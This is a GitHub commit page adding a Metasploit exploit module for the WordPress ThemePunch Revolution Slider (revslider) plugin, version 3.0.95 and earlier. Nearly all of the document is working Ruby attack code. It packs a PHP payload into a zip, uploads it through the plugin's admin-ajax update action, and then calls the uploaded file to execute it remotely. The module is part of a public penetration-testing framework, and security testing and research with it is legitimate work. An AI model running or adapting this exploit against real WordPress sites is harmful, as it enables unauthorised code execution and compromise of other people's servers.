Skip to content

Commit 1469a15

Browse files
committed
Land rapid7#5290, Wordpress RevSlider Module
2 parents 7b5da6f + 94d1905 commit 1469a15

File tree

1 file changed

+96
-0
lines changed

1 file changed

+96
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability',
17+
'Description' => %q{
18+
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
19+
Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The
20+
vulnerability allows for arbitrary file upload and remote code execution.
21+
},
22+
'Author' =>
23+
[
24+
'Simo Ben youssef', # Vulnerability discovery
25+
'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'],
31+
['EDB', '35385'],
32+
['WPVDB', '7954'],
33+
['OSVDB', '115118']
34+
],
35+
'Privileged' => false,
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
39+
'DisclosureDate' => 'Nov 26 2015',
40+
'DefaultTarget' => 0)
41+
)
42+
end
43+
44+
def check
45+
release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
46+
check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
47+
end
48+
49+
def exploit
50+
php_pagename = rand_text_alpha(4 + rand(4)) + '.php'
51+
52+
# Build the zip
53+
payload_zip = Rex::Zip::Archive.new
54+
# If the filename in the zip is revslider.php it will be automatically
55+
# executed but it will break the plugin and sometimes WordPress
56+
payload_zip.add_file('revslider/' + php_pagename, payload.encoded)
57+
58+
# Build the POST body
59+
data = Rex::MIME::Message.new
60+
data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
61+
data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
62+
data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
63+
post_data = data.to_s
64+
65+
res = send_request_cgi(
66+
'uri' => wordpress_url_admin_ajax,
67+
'method' => 'POST',
68+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
69+
'data' => post_data
70+
)
71+
72+
if res
73+
if res.code == 200 && res.body =~ /Update in progress/
74+
# The payload itself almost never deleted, try anyway
75+
register_files_for_cleanup(php_pagename)
76+
# This normally works
77+
register_files_for_cleanup('../revslider.zip')
78+
final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
79+
print_good("#{peer} - Our payload is at: #{final_uri}")
80+
print_status("#{peer} - Calling payload...")
81+
send_request_cgi(
82+
'uri' => normalize_uri(final_uri),
83+
'timeout' => 5
84+
)
85+
elsif res.code == 200 && res.body =~ /^0$/
86+
# admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
87+
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
88+
else
89+
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
90+
end
91+
else
92+
fail_with(Failure::Unknown, 'ERROR')
93+
end
94+
95+
end
96+
end

0 commit comments

Comments
 (0)